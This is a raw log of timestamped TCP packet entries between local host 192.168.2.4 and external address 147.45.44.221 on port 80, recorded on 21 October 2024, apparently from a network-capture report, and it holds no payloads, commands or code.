Oct 21, 2024 08:47:23.094026089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094028950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094058990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094065905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094091892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094099998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094125032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094132900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094158888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094166040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094191074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094197989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094223976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094232082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094257116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094274044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094306946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094311953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094340086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094347000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094372988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094381094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094402075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094413042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094440937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094451904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094485998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094494104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094525099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094532967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094564915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094573021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094597101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094607115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094630003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094638109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094660997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094671011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094696999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.094701052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.094736099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.174247980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.174288988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.174334049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.174354076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.178267956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.178296089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.178314924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.178330898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.178411007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.201167107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.201219082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.201241970 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.201251984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.201281071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.201289892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209110975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209162951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209181070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209204912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209233999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209280968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209291935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209332943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209340096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209371090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209383011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209400892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209410906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209431887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209440947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209464073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209471941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209495068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209503889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209527016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209533930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209558010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209563971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209589958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209595919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209621906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209630013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209661007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209712029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209758997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209759951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209805012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209809065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209839106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209853888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209880114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209887028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209913969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.209928036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209953070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.209963083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210010052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210011005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210042000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210051060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210074902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210082054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210114956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210124016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210158110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210167885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210186005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210197926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210216045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210222960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210253954 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210266113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210300922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210310936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210341930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210359097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210369110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210381985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210407972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210416079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210448027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210459948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210479021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210485935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210517883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210527897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210582018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210583925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210706949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210724115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210746050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210755110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210786104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210793972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210817099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210825920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210848093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210855961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210875034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210886955 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210906029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210925102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210938931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210947037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.210968971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.210977077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211000919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211009026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211033106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211042881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211065054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211072922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211095095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211103916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211126089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211132050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211157084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211167097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211189032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211200953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211220026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211229086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211253881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211260080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211280107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211292982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211311102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211319923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211343050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211352110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211374998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211386919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211415052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211426973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211453915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.211466074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.211493015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.473931074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.473967075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.479259014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.479291916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.479317904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.479342937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.479368925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.736129045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.736183882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.825203896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.825254917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.830056906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.830085993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.830220938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:24.084317923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:24.084461927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:24.101871967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:24.106739044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:24.358093023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:24.358338118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:24.731107950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:24.736192942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:24.987186909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:24.987303972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:25.752080917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:25.757050037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005439043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005480051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005513906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005541086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005541086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005546093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005580902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005588055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005588055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005614042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005655050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005655050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005666971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005697966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005728960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005734921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005734921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005759954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005773067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005791903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005810022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005827904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.005867958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.005867958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132208109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132275105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132303953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132337093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132380009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132416010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132462978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132496119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132499933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132549047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132597923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132601023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132643938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132647038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132674932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132703066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132733107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132742882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132782936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132812023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132813931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132832050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132847071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132877111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132884979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132884979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132909060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132926941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132936954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132953882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.132987022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.132991076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.133019924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.133055925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.133066893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.133097887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.133100986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.133126974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.133131981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.133155107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.133163929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.133187056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.133194923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.133213043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.133225918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.133255959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.133276939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.259985924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260056973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260097980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260153055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260169029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260221004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260240078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260272026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260276079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260318995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260337114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260351896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260371923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260384083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260418892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260422945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260436058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260468006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260469913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260499954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260529995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260550976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260550976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260560036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260592937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260595083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260612965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260639906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260670900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260672092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260693073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260704994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260718107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260737896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260752916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260770082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260787010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260817051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260840893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260848045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260879040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260891914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260891914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260926962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.260929108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260977983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.260994911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261008978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261027098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261055946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261055946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261087894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261120081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261135101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261135101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261152029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261181116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261185884 CEST	80	49732	147.45.44.221	192.168.2.4
